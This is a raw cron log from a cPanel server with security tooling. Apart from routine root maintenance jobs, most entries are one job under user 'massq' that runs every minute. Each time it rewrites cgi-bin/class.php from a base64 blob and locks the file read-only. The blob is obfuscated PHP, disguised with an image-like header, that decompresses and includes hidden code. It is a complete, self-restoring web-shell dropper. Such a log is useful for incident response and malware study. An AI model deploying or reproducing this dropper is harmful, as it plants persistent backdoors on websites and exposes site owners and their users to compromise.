Aug 31 21:14:01 server CROND[25610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:15:01 server CROND[25995]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 21:15:01 server CROND[26010]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:15:01 server CROND[26013]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:15:01 server CROND[26016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:15:01 server CROND[26017]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 21:15:01 server CROND[26020]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 21:15:01 server CROND[26015]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 21:15:01 server CROND[26018]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 21:16:01 server CROND[26974]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:16:01 server CROND[26973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:16:01 server CROND[26975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:17:01 server CROND[27341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:17:01 server CROND[27342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:17:01 server CROND[27343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:18:01 server CROND[27728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:18:01 server CROND[27729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:18:01 server CROND[27730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:19:01 server CROND[28112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:19:01 server CROND[28111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:19:01 server CROND[28113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:20:01 server CROND[28497]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 21:20:01 server CROND[28498]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 21:20:01 server CROND[28502]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:20:01 server CROND[28504]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 21:20:01 server CROND[28505]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 21:20:01 server CROND[28508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:20:01 server CROND[28507]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 21:20:01 server CROND[28506]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 21:20:01 server CROND[28503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:21:01 server CROND[29491]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:21:01 server CROND[29492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:21:01 server CROND[29493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:22:01 server CROND[29869]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:22:01 server CROND[29875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:22:01 server CROND[29876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:23:01 server CROND[30245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:23:01 server CROND[30246]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:23:01 server CROND[30247]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:24:01 server CROND[30626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:24:01 server CROND[30627]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:24:01 server CROND[30628]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:25:01 server CROND[31010]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 21:25:01 server CROND[31014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:25:01 server CROND[31019]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 21:25:01 server CROND[31020]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 21:25:01 server CROND[31022]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 21:25:01 server CROND[31024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:25:01 server CROND[31025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
